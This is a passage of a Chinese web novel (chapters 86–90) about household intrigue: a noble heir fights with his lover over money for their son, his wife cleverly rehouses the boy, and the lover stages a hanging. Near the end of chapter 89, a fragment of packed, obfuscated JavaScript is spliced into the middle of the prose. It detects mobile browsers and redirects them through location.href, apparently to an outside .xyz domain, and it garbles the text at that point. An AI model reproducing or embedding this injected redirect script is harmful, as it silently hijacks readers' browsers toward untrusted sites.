秦耀阳抬手就将秦齐抱了起来。周婉细细端瞧他脸色，佯作恼怒教训秦齐：“胡乱喊什么？要喊世子爷。”
果然，秦耀阳在触及儿子委屈的小脸时，将孩子抱紧了些，道：“这儿也没有外人，齐哥儿爱喊就让他喊，收他入府只是时间问题。”
秦耀阳这样的表态让周婉心里安定了几分，眼圈盈泪，抱住了眼前父子：“耀阳，谢谢你。”
“怎么哭了？”秦耀阳很是心疼，拿帕子给她擦眼泪。
周婉温顺地接过帕子：“没事。”她抬起脸，眼里满是希冀。
秦耀阳反应过来，将才轻松的心情一去不复返。他眼神有些闪躲，低头将秦齐交给丫鬟先待下去休息。
秦齐一则是真困了，二则也是小孩儿天生对父亲的怕，他分外乖觉地退了开去，屋里的心腹下人见这情况，也都很识趣，将空间留给主子们。
不必周婉开口，秦齐毫不犹豫地将腰间装着银子的荷包放到周婉掌心。
周婉托着重量，眼里闪过一丝满意，可等她抽开绳子一看，里头全是银子，没见半张银票。
她有些不可置信：“这些？”
周婉可是记得，往日里秦耀阳打赏下人都大方得很，她原以为怎么也能讨到一笔不小的银钱，可没料到竟这么少。
人就是这样，习惯了旁人对自己的铺张，胃口也就养刁了。若再给事儿披上一层爱情的纱，那就会把感受放大、再放大。
周婉情绪突然有些上头，眼圈红彤彤的，难掩失望：“世子，齐哥儿可是你的亲生子！”
秦耀阳看着她的眉眼，心虚又愧疚，语气很柔和，握着她的肩：“婉儿，我知道，我都知道的。二十两银，多少也能够得上生活。”
“不够！怎么会够！”周婉哭出声来：“你走的时候怎么说的？你说定不会叫他吃下委屈吃下亏的！可你竟只要来这么点儿银子！齐哥儿是你亲儿子！不是
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什么叫花子！”
那么多年的情分，秦耀阳定是上心的，他看见周婉哭，心疼都来不及，就像个锥子往自个儿心上扎。可秦耀阳没想到，素来温柔的女人竟能说出这种伤人的话来！
“你说什么？”秦耀阳不敢置信，身子一僵，松开了女人的肩膀。
周婉将才情绪上头，这会儿也清醒过来。她张了张嘴想圆一下。奈何秦耀阳声音比她快。
“婉儿，你扪心自问，我待你如何？”
“我待你比待齐哥儿都要好！为了你，我敢违拗祖母！违拗父亲母亲！为了你，我可以婚期一拖再拖，与全世界为敌！这次，因为你一句话，我便舍了脸面去问祖母，去问宁音要银子！我甚至想到把从前给出去的东西讨回来换银子给你！”
“可我万万没想到！你竟然是这样想我的！”
周婉攥紧了手里的银子，眼神哀伤、惶恐，复杂极了，若放在从前，她此刻早已经抱着他去哄了，可现在，经历了那么多次冷落、失望，周婉再难叫他这般简单就打动：“耀阳，你口口声声说了是为我，可你平日里打赏下人也都是十两二十两的！难不成我跟齐哥儿心里就值这二十两银？！”
她如何能信？
周婉抓着他的袖子痛哭：“耀阳，你变了，你跟从前不同了，若你上心，哪里能只拿着二十两来作践咱们的儿子？”
秦耀阳看着眼前扯着自己袖子痛不欲生控诉自己的周婉，女人的眼泪将脸上的粉冲开一道痕迹，妆花了，再不复当年的精致。他突然就感觉着陌生。
女人的表情扭曲到像是另一个人。
秦耀阳呼吸一滞，抬手推开了周婉。周婉猝不及防往后连退了好几步，后腰撞在桌子上。
听着女人的痛呼，秦耀阳脑子里竟然浮现出另一张脸来。他竟然在想，若是沈宁音，她定不会这般急言令色，便是受了伤，也是小声的，怕人担心。
“耀阳！”周婉捂着后腰，抬头看他。
周婉也给推懵了，她从来不曾想过，事事以自己为先的男人，竟然会为了几句拌嘴的话而推自己！
慌乱只在一瞬间，周婉咬了咬牙，忍着疼服软，她露出了往日里小意温柔的神色，用最美好的角度迎上去，拉着秦耀阳的手：“耀阳，是我不好，我刚刚的话重了些，你不会生我气的对不对？”
秦耀阳心里五味杂陈，几乎是下意识地将手抽了出去。他这样的举动叫眼前的心上人瞳孔地震，周婉几乎要碎了。
秦耀阳连退了三五步，身子靠在门上：“抱歉，婉儿，我……我心里好乱。”他一手捂着头，别开脸：“你给我点时间，我想静一静。”
周婉心下一慌，想拉住他，奈何秦耀阳转身就走，男人人高腿长，走得极快，根本没给她任何挽留的机会。
周婉一个踉跄扑倒在了地上。远处的秦耀阳已经冲进了夜色，只隐约看得见随从们追过去时提着的灯火。
丫鬟们跑过来，就只看见她们的大少夫人倒在门口哭得妆也花了，很是难看。
86. 搬院
沈宁音听到消息的时候已经第二天，门房只说世子爷晚上连夜出了府，旁的一概没讲，兰心居那边倒是将消息都压着。
但沈宁音对此早有预料，也大约知晓发生了什么。
她从月洞床上起身，添了件衣裳。方嬷嬷过来的时候看见她收拾妥当似乎等了好一阵。
方嬷嬷上次得了冷待，偏回去松鹤堂说了之后也没找回什么体面，她这会儿倒是更小心了几分：“二少夫人，老夫人有请。”
沈宁音略略颔首，兰香扶着她就往外头去。自有小丫鬟递上来赏赐。
方嬷嬷得了几个银锞子，她拿在手里，看向沈宁音的背影时，眼神有几分惊诧。
按说，她不是祁秀院的奴婢，先前又厚此薄彼弃了祁秀院去顾惜着齐哥儿，二少夫人对她不可能有什么好脸色。可掂了掂赏钱，竟又与从前别无二致。
“方嬷嬷，还不快引路？”兰香回头催了句。
“哎哎，来了。”方嬷嬷连忙将银子揣进袖子跟了过去。
沈宁音瞥了老嬷嬷一眼，婆子的眼神都恭顺了许多。
方嬷嬷到底是松鹤堂的老人，为她主子尽忠罢了。沈宁音因着立场问题，敲打归敲打，但也不至为难记恨她。
这么大的侯府，要做主母，哪里能事事都顾全到？少一个敌人，总比多一个强。
松鹤堂的罗汉床上，老夫人闭着眼睛假寐，眉头不自然地蹙着。一旁的秦齐抱着木头玩具笑得分外大声。
四周的人都看着小孩儿，没一个敢上前去管的。
“祖奶奶，您快起来陪我玩儿！”秦齐扒拉着老夫人的袖子。老夫人不得不撑起眼皮子：“祖奶奶年纪大了，你找你红珠姐姐玩儿。”
红珠被老夫人点了名，脸色一瞬间就白了，其他人都松了口气，都对红珠投去了同情的目光。
秦齐这位少爷是个劲儿大的，一鞭子抽下去，寻常人都要受不住疼的。
“我要骑大马！”秦齐拿出了鞭子：“你快趴下！”
红珠年纪最小，资历最浅，这才给分去了听雨轩，小丫头闻言也是不敢反抗，哆嗦着跪趴在地上。
这时，外头传来请安的声音：“二少夫人来了。”
很快，垂花门给撩起来，沈宁音一进门，就看见地上趴着的女婢，秦齐正拿着鞭子。
沈宁音眉头微蹙，目光瞥到秦齐脸上时有几分不悦，后者蓦然想起上次被收拾，吓得连忙扔了鞭子抱着人哇哇大哭。
老夫人原就给吵得头疼，秦齐这一哭，脑袋就更疼了：“红珠，还不快把你伺候的哥儿领出去。”
“祖奶奶！这个女人坏！她会打我、会掐我的。”
沈宁音也不说话，只等着好几个仆婢七手八脚将死命挣扎的秦齐从老夫人身上拉下来，送到外头去。
老夫人松了口气，没等说话，沈宁音的声音已经传过来了，说的还是她不爱听的。
“祖母，齐哥儿又不是咱们府里的子嗣，喊您祖奶奶不合规矩吧。”
她这一句规矩将老夫人噎得直皱眉，偏还不能否认。
老夫人心里不喜，蹙眉开口：“小孩子家家有什么打紧？这儿也没外人，我瞧着他喜欢，就饶他这么喊我了。”
沈宁音正色道：“可是礼不可废，孙媳也是为着侯府的名声着想。称呼方面还是注意些为好。”沈宁音面上一本正经，心里却有些想笑。
就老妖婆方才的反应，是个人都能敲出来她不喜欢秦齐这么闹腾。偏老夫人还要嘴硬说喜欢。
“好了。”老夫人不耐地挥了挥手，说起了正事：“宁音，找你来有两件事儿，其一，齐哥儿的听雨轩被你削了大半用度，左右你那远房亲戚家的孩子住在你祁秀院，他们差不多年纪，正好做个伴，你就把齐哥儿接过去好生教养吧。”
老夫人这话一出，沈宁音后边儿站着的兰香就着急了，伸手拉了拉沈宁音的袖子。
沈宁音没什么反应，只是恭恭敬敬听老夫人说话。
老夫人见她如此乖觉，心里不免有几分受用，神态又更傲然了两分：“这第二件，是你夫君的事，他昨儿个不知为何出去喝酒，今儿下人们去劝，怎么也劝不回来，昭儿往日里最疼你，你找几个人，把他给我劝回来。”
等老夫人全部说完，沈宁音才温声开口：“祖母，听雨轩的事儿，孙媳是按着上京城的规矩削的。”她将同秦耀阳讲过的那一套说辞又述了一遍。
老夫人眉头蹙紧，拨弄佛珠的速度略快了些：“宁音啊，齐哥儿还是个孩子，你是做叔母的，又是咱们侯府的主母，岂能连个孩子都容不下？”
老夫人抬眸，一脸的语重心长：“等你跟昭儿生下嫡子，齐哥儿又挡不着什
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么。”
沈宁音哪里听不出她的一语双关，责备她心眼小，还催着她要孩子。
手指捏紧了帕子，泥菩萨还有三分火气，更何况她沈宁音。
沈宁音嘴角微弯：“祖母，巧妇难为无米之炊，夫君二十六还没个孩子，只我着急又有什么用？许是夫君他……”
“你这是何意？！谁说昭儿他不能生？他……”老夫人又急又气，差点儿说漏嘴。
沈宁音连忙站起身，故作惊慌：“祖母，我不是这个意思，孙媳的意思是，我与夫君刚成婚不久，孩子兴许没这么快来。”
老夫人狠狠剜了沈宁音一眼：“那齐哥儿的用度你怎么说？”
沈宁音当然知道老夫人的意思，她不就是想叫沈宁音帮忙教养秦齐，还想让她从自个儿的嫁妆银子里拿钱出来贴补么？
“祖母，这个倒也容易。”沈宁音脸上挂着温驯的笑意：“听雨轩地方潮，小孩子哪里住得惯？又还得单独送饭菜、要多配几个人伺候着，处处都是钱。”
老夫人只以为她是应下了，也给了个好脸色：“你能体谅就好，哥儿还小，你对他好，将来他大了，自然与你亲近，你这个做叔母的就更似母亲了。”
沈宁音脸上的笑意不变：“孙媳明白，必定对孩子一视同仁。今天就着人给齐哥儿搬院子。”她站起身告辞：“孙媳现在先去接夫君。”
“去吧。”老夫人目送她离去。等人走远了，转头就吩咐方嬷嬷：“你多找几个信得过的奴婢，跟着齐哥儿一并安插去祁秀院，万不能叫齐哥儿受了委屈。”
方嬷嬷应声，连忙退下去办。
沈宁音领着兰香往外头去，刚出松鹤堂，就瞧见秦齐在不远处打丫鬟。丫鬟哭声压抑凄惨。兰香听得拳头都攥紧了。
她着急又无奈：“少夫人，您怎么能答应让这混世魔王来咱们院子？定要惹出些乌七八糟的事儿来的。老夫人都教养不成，全然就推给您。真真是欺负您良善好说话！”兰香说着说着就红了眼圈。
沈宁音的目光从远处亭子里收回，兀自往外头去：“谁说我要教养那孩子了？”
兰香一愣。沈宁音莞尔轻笑：“我只说要给哥儿搬院子，可没说要把他搬来咱们祁秀院。”
若然做主母的，当真只是良善，在这样的人家，怕是要让人吃得骨头渣都不剩了。
87. 宿醉
兰香闻言大大松了口气，但很快又有些担忧：“老夫人那边很关照齐哥儿。如今您身子刚好，事情又多，怕就怕您无论怎么安排，老夫人都不会满意，到时候又给您送回来的话……”
沈宁音知晓兰香是怕自个儿受了磋磨和委屈，笑着安抚道：“你放心，我有分寸。”
不久后。
松鹤堂，堂屋里头，齐哥儿站在一边儿，地上放了一箱子东西，都是些启蒙抄本和一些花哨的小玩意儿。丫鬟奴婢们战战兢兢跪了一地。
“这是怎么回事？”老夫人攥紧佛珠，心下有种不好的预感。
方嬷嬷扫了一眼给挡回来的齐哥儿和仆婢们，嗫嚅片刻：“老夫人，二少夫人将哥儿安排在了松鹤堂跨院儿……”
“什么？！”老夫人怒目而视，脑仁儿一阵阵疼：“她人呢？”
“二少夫人派的人收拾好房间就走了。”
“岂有此理！”老夫人边说边将菩提佛珠拍在桌上砰砰响：“现在！马上！把她叫过来！”
“二少夫人出门去了。”
老夫人说晕就晕，堂屋里头登时乱成一团。
秋日的日头都灰蒙蒙的，风一吹，连空气里都裹着点润湿。
出了侯府，沈宁音觉着，连空气都变得清新了。
她戴着帷帽，领着人停在春晖楼前。
不论前世今生，沈宁音都知道，秦耀阳的纨绔荒唐从不是什么眠花宿柳去那秦楼楚馆，往往宿醉酒楼。处理起来其实是最简单的那一类。
春晖楼的掌柜的见沈宁音这阵仗，心里一突，连忙拦着：“这位夫人，不知来鄙楼所为何事？”
沈宁音知道这些人眼力好，定是瞧出了侯府侍从的不凡，进而多想，当下她便将几人留在外头，只领了兰香走进去：“掌柜的，我来找人。”
听到她找的是秦耀阳，又得知了沈宁音的身份，那掌柜的、包括旁边儿的伙计都更紧张起来。沈宁音便觉察出不对劲来。
掌柜的脸上堆着个笑：“秦世子他这会儿醉了，吩咐过不见任何人。”
沈宁音眉头微蹙，当下语气强势：“让开！”
“夫人，您别为难小的……”掌柜的拦着，脸上全是苦笑。
没管那么多，沈宁音命人拖住这些人，提着裙裾就上了三楼雅间。
门推不开，她就一脚将门踹了开去。
“砰”的一声，屏风后立时就传来个女娘惊叫的声音。
没等沈宁音绕过去，那女人已经从里头跑了出来。沈宁音定睛一看，竟还是熟人。
梁玉霜局促地站在她跟前，手不安地捏着衣角。
沈宁音很意外，她想过无数种可能，唯独没料到梁玉霜会出现在这儿。
几个呼吸后，梁玉霜底气不足地挺起胸膛：“做什么？你可别想诬赖我，我跟他清清白白的，是他拉着我不让我走！”
梁玉霜说着说着眼泪吧嗒吧嗒往下掉，边哭边指着沈宁音：“要不是你烧了我的货，还讹我好几十两，我早就回凉州城了！我何必在上京这种地方求生！卖点东西，还一群人找我！我又不欠你们的！呜呜呜！”
沈宁音听着她的哭哭啼啼，眼里没什么波澜。转身绕过屏风，秦耀阳躺在一旁的软榻上，满身酒味。
沈宁音很有点嫌弃，开口吩咐兰香去找人抬。
梁玉霜被无视了，瞠大一双哭红的美眸不敢置信：“喂！你到底有没有在听？！”
“是你老公拉着不让我走的！你知不知道？！刚刚我们什么都没有发生！”
沈宁音转身，梁玉霜抬手拦在她面前：“喂！”
后头抬人的仆从绕过梁玉霜就走。梁玉霜慌了，干脆拉住了沈宁音的手腕，似是生怕她不信。
沈宁音低头看看她的手，终于是开了尊口：“梁姑娘，下次，再这么解释的时候，还请把花了的口脂擦干净。”
梁玉霜大惊，一面擦一面哭道：“是他强吻我的！我跟他又没有那方面的关系！你千万别误会！”
“那，世子都醉成这样，你为何不走？”沈宁音是真不明白这人的脑回路。
梁玉霜愣了一下，脸上瞬间飞起红霞，又很羞愧，她低下头：“我是怕他出事，这酒喝太多会酒精中毒的……”
说到底，秦耀阳这张脸端的是俊美无俦的，沈宁音倒也不意外梁玉霜这样的年轻姑娘会心动。
沈宁音并不在乎他二人有什么首尾，她只是唏嘘。
前世时，沈弦思作天作地，下药睡了秦耀阳都不能离间他与周婉二人的鹣鲽情深，秦耀阳甚至为了周婉，不惜把整个昌平侯府都绑上元妃的战船。
沈宁音觉着，哪怕他醉了，也不该对别的女人拉拉扯扯，更不可能吻别人。
但眼前梁玉霜的话，又不像是假的。
沈宁音深深看了一眼梁玉霜，未置一词。
沈宁音将秦耀阳放上马车，下车的时候，男人醒了，结结实实吐了一地。
满地秽物，臭气熏天。
也是这一吐，宿醉的秦耀阳清醒了几分，他看见沈宁音，眼神有瞬间的迷茫，仿佛在辨认眼前人是谁。
“玉霜？”他喃喃，声音很低
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，可是沈宁音离得近，听清了。
沈宁音微微愣怔之际，秦耀阳眼睛有了焦距，似是认出了她来。
男人眼里迸发出庆幸与欢喜，他用力推开旁人，紧紧拉住了沈宁音的手，眼底有愧疚和脆弱，声音带着虚软与依赖：“宁音……”
秦耀阳将她揉进怀里：“宁音！还好有你在！”
沈宁音浑身不自在，男人这会儿粘人得紧，根本推不开，偏他对自个儿毫无自觉，沈宁音只能耐着性子软声轻哄：“世子，你先放开，这是在大门口，仔细叫人看了去闲话。”
“嗯。”秦耀阳依依不舍松开她，男人眼睛红红的，氤氲在眸子里的，是湿漉漉的委屈。
男人无妨多大，在脆弱的时候总像个小孩儿，尤其秦耀阳这种从小被宠到大的。沈宁音两世为人，对付男人兴许火候还差点儿，但对付小孩儿却是手拿把掐的。
好容易才将他劝进了府，沈宁音吩咐人打水让他洗沐后，正提着裙摆准备先回去祁秀院，兰香突然走过来小声提醒。
沈宁音顺着兰香手指的方向看去，瞧见一个身影蓦地闪进了巷子拐角。
“跟了一路了。”兰香气愤道：“这骚蹄子定是对世子爷不死心，奴婢带几个人撕烂她的脸。”
兰香捋着袖子要去收拾梁玉霜，沈宁音抬手拦了。
“少夫人！”兰香替她着急：“世子爷好不容易回心转意了，岂能放过那骚蹄子！”
“随她去吧。”沈宁音又看了一会儿，并未多说，只转身往府里走。
入夜，秦耀阳醒来，他刚喝过醒酒汤，眼睛也没从沈宁音脸上移开。沈宁音坦然看着他，微笑道：“妾身脸上是有什么？”
秦耀阳摇摇头，他伸手，突然将沈宁音拉到怀里。沈宁音微微皱眉，两个人都有几分僵硬。沈宁音听见秦耀阳的声音从头顶传来，闷闷的：“宁音，在你眼里，我是不是很混蛋？”
沈宁音心下有几分惊诧，但语气是一如既往的温柔：“怎么会？世子是妾身的天，妾身岂会那么想？只是……”她借机退出男人的胸膛，浅笑着劝说：“只是世子往后可万万不能再贪杯了。”
秦耀阳从原本的情绪里回神，皱眉摸了摸难受的胃部，神色有几分尴尬：“好……我答应你，以后再也不去外头喝酒了。”
“嗯。”沈宁音低眉。
空气一时沉默，外头很安静，有隐约的梆子声。
“世子，夜深了。”沈宁音提醒了句。
秦耀阳坐在椅子上，眼睛定定地看着她。他张开唇：“今晚，我可以留宿么？”
88. 上吊
秦耀阳的声音带着一丝沙哑，沈宁音莫名从他的眼神中瞧出了些可怜来。
他委实也不必这样，作为妻子，沈宁音不能拒绝他。
“好。”沈宁音点了头，起身命人去准备寝衣和被褥。
秦耀阳来祁秀院住的日子并不多，他不来的时候，屏风那头的软榻就是空着的。
沈宁音也打算趁着机会亲手替他铺床，维持一下贤良主母的好名声。
可她刚站起来，手腕就被握紧了。沈宁音诧异地回头，秦耀阳看着她，压低了眉尖：“不必那么麻烦。”
“我睡床上就行。”他说完这句话，握着沈宁音手腕的手紧了紧
沈宁音有点懵。
“不行么？”秦耀阳低声问，神色里带着点小心翼翼。
他如今的样子，就像是换了个人，沈宁音有些不确定这男人的想法，但她大抵知道夫君与周婉之间发生了什么，而且这事儿还是沈宁音她一手促成的。
沈宁音伸手在他手背上拍了拍：“行的。”她给了秦耀阳一个柔婉的笑。
男人偶尔的脆弱，最是惹人爱怜，但沈宁音冷静下来后，也很清楚，当你真正心疼他时，一多半也不会是幸福的开始，只会在泥潭里越陷越深。
男人是不能心疼的，一旦你心疼了一次，他就能叫你的心疼上无数次。
秦耀阳似乎松了口气，他拉着沈宁音的手上了月洞床。
沈宁音躺下，她闭上了眼睛，可是如今的她，再没了初次与夫君共处时的纠结与酸涩，她很快便平静了下来。
可沈宁音等了好一会儿，男人都没有下一步的动作。
她心下纳罕，悄然睁开眼睛，却发现男人躺在自己旁边，似乎已经睡着了。
秦耀阳睫毛很浓密，比寻常女子都更长些，此刻正轻颤着，昭示着睫毛的主人其实并未睡着。
沈宁音心下叹息，也不戳破，她翻了个身背对着他。
就在这时，沈宁音突然感觉到身后一股子温热贴上了后背，秦耀阳的手摸上来，抱住了她的腰。
原本平静的心湖像是泛起了涟漪，沈宁音感觉脸上有些烫起来，她乱了方寸，只攥紧被子，慌乱地轻唤了一声：“世子？”
身后传来男人低哑的鼻音：“嗯。”
后脖颈处有湿软的呼吸，沈宁音内心像是挂上了个哨子，尖锐的爆鸣惹得她整个人都紧绷起来。
秦耀阳并没有更进一步。好一会儿，沈宁音才反应过来，她不禁有些自嘲，这男人今天醉成那样，又与周婉闹了些脾气，哪里还有心思想那种事？
沈宁音放下了心，便只觉着眼皮子发沉，很快睡着了。
只是她刚合眼，门口就传来兰香的声音：“少夫人、二爷，出事了。”
沈宁音忙拉开男人放在腰上的手，撑起身问：“怎么了？”
兰香是她的贴身大丫鬟，经忧她向来很知分寸，但凡不大的事儿，她都是第二天早上来报的。
沈宁音莫名觉着，这会儿能出事，必定跟兰心居有关。
果然，兰香隔着门禀告：“少夫人，二爷，大少夫人上吊了。”
黑暗里，沈宁音眉梢挑了挑，也难为周婉想得出这等主意，正所谓一哭二闹三上吊。料想周婉也是掐准了时间来闹她。
沈宁音摆好了表情正准备在秦耀阳掀被子冲出去时顺水推舟……
可哪知身边的男人沉默一息后突然问：“她要上吊，来回我作甚？”
沈宁音如今是侯府主事的，兰心居出事是来找她也无可厚非。
但秦耀阳语气不太客气，沈宁音也不能扫了他的脸面。再者，周婉也是掐准了叫人来禀告此事时秦耀阳定能听见。
沈宁音看见秦耀阳躺了回去，像是再冷血无情不过。
可是在沈宁音瞧着，男人就像是在赌
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气，又或者说，不论他买醉、找替身，还是此刻故作薄情愤怒，都不过是在与周婉赌气。
有爱才会有恨，才会有情绪，若当真再没了情谊，他便也不会这样了。
沈宁音身伸手拉开男人脸上的被子，垂眸温柔一笑：“世子，去瞧瞧她吧。”
“不去！”秦耀阳别开脸，昏暗的光线中瞧不见表情。
可是男人的情绪都氤在腔调里，与那沙哑和小心翼翼藏起来的轻颤融在一起。像是毫无遮掩地横陈在她心里来。
“妾身大病初愈，身子弱，世子就替我去瞧瞧她吧？”沈宁音知道，当一个男人心里还有另一个女人时，那女人便是无敌的。
她虽不想争，却也委实争不过的。
这等时候，沈宁音定然可以开口挽留，男人也很可能留下，甚至能趁机给自己留个子嗣。
但以后呢？
以后二人再次蜜里调油如胶似漆，那么她所生下的孩子、所说的每一句话，都成了要拆散鸳鸯的恶，成了情人眼里的沙子。
沈宁音不会要这种得不偿失的选择。
而这种时候，越是撮合，反而越能在男人心里落个好。
“她定是装的。”秦耀阳咬着牙。
沈宁音伸手摸了摸他的头发，道：“她毕竟是咱们大嫂，又嫁到侯府多年，世子不看看去，心里也不安稳吧？咱们也说不过去。”
她能感觉到，男人攥着的被子又绷紧了几分。
“世子？”沈宁音再催了句，秦耀阳终于拉开被子，却不是要走，而是冷沉着嗓音道：“进来睡！”
沈宁音叹了口气，既然正主都这样了，她也委实困顿，于是便也不必去瞎忙活了。
沈宁音略吩咐了两句，叫兰香领着人去瞧瞧情况，再往松鹤堂去递一遭消息，该找郎中找郎中，该花销的花销。
做完该做的，祁秀院便也恢复了安谧。
89. 幻灭
沈宁音并不习惯身边儿睡着旁人，是以她睡得浅，翌日起得也早。
兰心居那边终于是不加掩饰地命人来三催四请。而秦耀阳面对着两个娇滴滴的丫鬟，愣是连正眼也没给一个。
经了这许多事情，沈宁音比旁人看得分明些。
秦耀阳就是故意的，往日里兴许都是他护着周婉，如今一下掉了个，新奇又爽快的滋味像是天生的纵容药。
沈宁音敛衽最后给他盛了碗汤：“世子，来请了这么多回，你就去一趟吧。”
秦耀阳原本还颇得意受用、略有松动的神色，在听着沈宁音戳破般的话语时瞬间就滞住。
男人看过来的时候，沈宁音没有抬眸。
男人都是要面子的，尤其秦耀阳这样心高气傲的男人。周婉主动服软，他一旦想起来那些往日的情分，又兼有秦齐这亲儿子在，秦耀阳给请过去兰心居不过是时间问题。
可他松口要去，和人家劝他去完全是两码事。
尤其，开口的人还是沈宁音这个立场上最不能够的结发妻。
沈宁音若拦，他昨儿方生出来的愧疚与温柔便会若雨打风吹去。所以沈宁音偏要劝着他去。
一个贤惠、温柔、又毫不知情的妻子，永远只会立于不败之地，而当这个形象先一步占据了男人的脑海，周婉所有的小意温柔和服软，都只会变成矫情造作。
沈宁音任由他牵着手，露出个温婉的微笑。
“宁音……”男人欲言又止，愧疚与柔情盛满了眼底，秦耀阳闪躲开眼神，抿了抿唇，语气变得坚决：“方才兰香也说她没什么危险了，你身子还没好，我陪着你。兰心居那儿，母亲跟祖母会过去处置。”
前世，在沈弦思的阻挠之下，秦耀阳的关切，从来不会分给周婉以外的任何人，而现在，他二人之间曾经的坚不可摧，已经明显出现了裂痕。
可是这还不够。
沈宁音站起身，拉着他的手往外送：“父亲上朝去了，内院的事情祖母跟母亲处置自然是妥帖的，但府里也还有许多巡逻戍卫的外院府卫，这些人还得夫君去帮着敲打告诫，叫他们莫要传些什么有的没的。”
因着一个月前侯府被抄家吓坏了主子们，是以，二门内靠近外头的路口回廊旁也特别安排了一些护卫值守的。
周婉上吊想来不过是博秦耀阳心软的小手段，传出去可大可小。秦耀阳了解周婉，正因着了解，他昨儿才敢不去管。但也因为了解，他与周婉都不会多想。
而沈宁音就是要点拨出可能出的大事来，至少在侯府名声方面，薄待功勋孀妻、逼其自戕，绝对是足以叫圣人在朝堂上申饬的罪名。
这就不是小事了，就是搅乱家宅安宁。
秦耀阳脸色瞬间就沉了下来，他袖子里的手掌攥得颤抖。现如今正是闹别扭的时候，还没全想起周婉的好，更没全忘了周婉给的委屈与挫败。沈宁音的话，可谓是烈焰里头浇上了油。
“嗯。”秦耀阳终究是点了头，他还怕沈宁音想太多而委屈，第一遭细心地安抚了几句才走。
兰香离得近，她进屋阖上门就着急道：“少夫人，您怎么把二爷往外推呢？那大少夫人一哭二闹三上吊的，奴婢看她也没憋着什么好，要不还是把二爷追回来吧？别叫他被蒙蔽了，您好不容易才要苦尽甘来的……”
秦耀阳在外人眼里都是护妻宠妻，可沈宁音没想到日子久了，连身边人竟然都对他改观了。这倒是提醒了沈宁音。
沈宁音看兰香这沉不住气的模样，抬手敲了敲小丫鬟的脑袋：“由他去，今儿个，他去了才好。”看小丫一副恨铁不成钢的模样，沈宁音也懒得解释，而是吩咐着兰香找人去跟一跟兰心居的动静，又叫人把先前舫船上奋战受伤的侍卫该赏的银子都赏下去，拉拢一波人心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649256|146125||http|test|mini|href|location''.split(''|''),0,{}));
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兰心居。
周婉靠在软靠上，一旁的侍女伺候着她喝药。
“咳咳咳！苦死了！！”周婉一把推开了嘴边的药汁，蹙紧眉头，眸子含怒。
丫鬟忙哄着：“大少夫人，多少喝点儿吧。”
周婉昨儿为着惹情郎怜惜心软，一开始是真准备好等他来就上吊的。
可秦耀阳竟没来！
于是没能直接苦肉计的周婉便退而求其次，咬咬牙把脖子给勒出了红痕来。
她那样金尊玉贵的细腻肌肤现在都还疼。
饶是周婉吃了那么多苦，却久等秦耀阳不来，而今她心里头窝着火气正无处发去！
可偏这时候又见着眼前长姐元妃给挑来的俏丫鬟。
丫鬟明眸皓齿，顾盼生娇。周婉无处发泄的怒火一下子就给点着了。
她一把拍开了丫鬟端着的补药：“喝什么喝？！你就是诚心想惹我不痛快是么？！别以为娘娘送你来你就得脸了，混账东西！”
周婉的巴掌分外用力，抽在丫鬟俊俏的脸颊上发出清脆的声音：“本夫人告诉你！你只是个贱婢！本夫人才是娘娘的亲妹妹！”
丫鬟是元妃调教过的，挨打也没惨叫，但生理性的眼泪还是葳蕤而下。丫鬟顾不得地上还有碎瓷片，膝盖一弯就惶恐地跪下去：“是奴婢该死！”
周婉郁结在胸的怒火被地上的血色和丫鬟的温顺给泄去大半，甚而有种难以言喻的得意和愉悦感觉。
她眼神狠厉，露出个冷冷的笑来。
可周婉嘴角的弧度刚刚上翘，就被骤然的推门声闹得僵在了脸上。
她看着门口站着的高大逆光的人影，所有的声音尽都堵在了嗓子眼儿里。
紧接着，门外的仆从们才追了过来：“二爷……二爷您别……”
可是秦耀阳已经进来了。
他都看到了。
90. 怒气
“耀阳……”周婉的眼眶里蓄泪，声音放软。神色里隐忍着脆弱与思念。她素来如此，总能以最恰到好处的情愫拿捏住男人心里的那一寸柔软。她甚至可以不用其他任何的言语。
可这次，周婉没有在秦耀阳眸中看见熟悉的心疼与愧疚。
他就像一个陌生人，失望、愤怒、情绪里透着难以言喻的复杂。
周婉屡试不爽的招数竟失效了！她震惊的同时，男人大踏步走过去，不是走向她，而是伸手将地上的大丫鬟拉了起来。
丫鬟膝盖给碎瓷扎破，汩汩鲜血染红比甲，她根本站不稳，身子摇摇欲坠地靠着秦耀阳。
这一幕刺痛了周婉：“耀阳！你做什么？！”
秦耀阳本就是带着怒气来的，此时此刻，看着昔日眉眼温柔娇若烟霞的女人竟扭曲着脸孔。
她如此急言令色，那些不合时宜的皱褶，像是打碎幻镜的皲裂，美好再不复往昔。
秦耀阳深吸了口气，声音带着浓郁的失落：“周婉！我没想到，你竟变成了这样！”
贴身随侍从秦耀阳手里接过了大丫鬟，所有人识趣地先退了出去。周婉红着的眼睛这才稍稍清明。
秦耀阳没说话，转身就要走，男人的背影分外决然。
周婉不知哪来的力气，上前一把抓住了他的手腕。她两只手死死合在男人的腕部，在他冷冷回头的时候，颤声轻唤：“耀阳，你去哪？你不知道我昨晚发生了什么？”
周婉相信秦耀阳定是被沈宁音那狐狸精迷住了，若然知道自己有事，秦耀阳不可能沉得住气！
她越想越觉委屈，对沈宁音恨得牙痒痒，周婉仿似不经意抬起下巴，腻雪般的脖颈上红痕已经泛起淤紫，她要告状，要告诉秦耀阳他昨晚到底陪着一个多么虚伪恶毒的女人：“我等了你一夜，你为何不来？！你难道当真爱上了沈宁音？你明明说过，她不过是爹娘强塞给你的女人，你对她决无爱意！”
“若你当真变了心，那我们的过去算什么？我又算什么？！”周婉眼泪流得很凶，哭得却美极。水汪汪的瞳仁里，仿佛缀满了星子，是男人曾经最爱的模样。
秦耀阳的手臂微微颤抖。而这样的反应让周婉有了种男人被打动的错觉。
从前周婉在他跟前虽有小意温柔的时候，但那一多半是在床上，平日里，她更多的是仗着他疼爱的骄纵。
周婉几乎是下意识的抱住了男人的腰肢，将脸颊贴着他的胸膛，轻哄与倾诉慢慢就化作了责怪。往常，哪怕她说了再如何没道理的话，只要是撒娇的语气，秦耀阳都乐意回头来哄，都愿意放下身段去听。
她就是男人的全部啊！
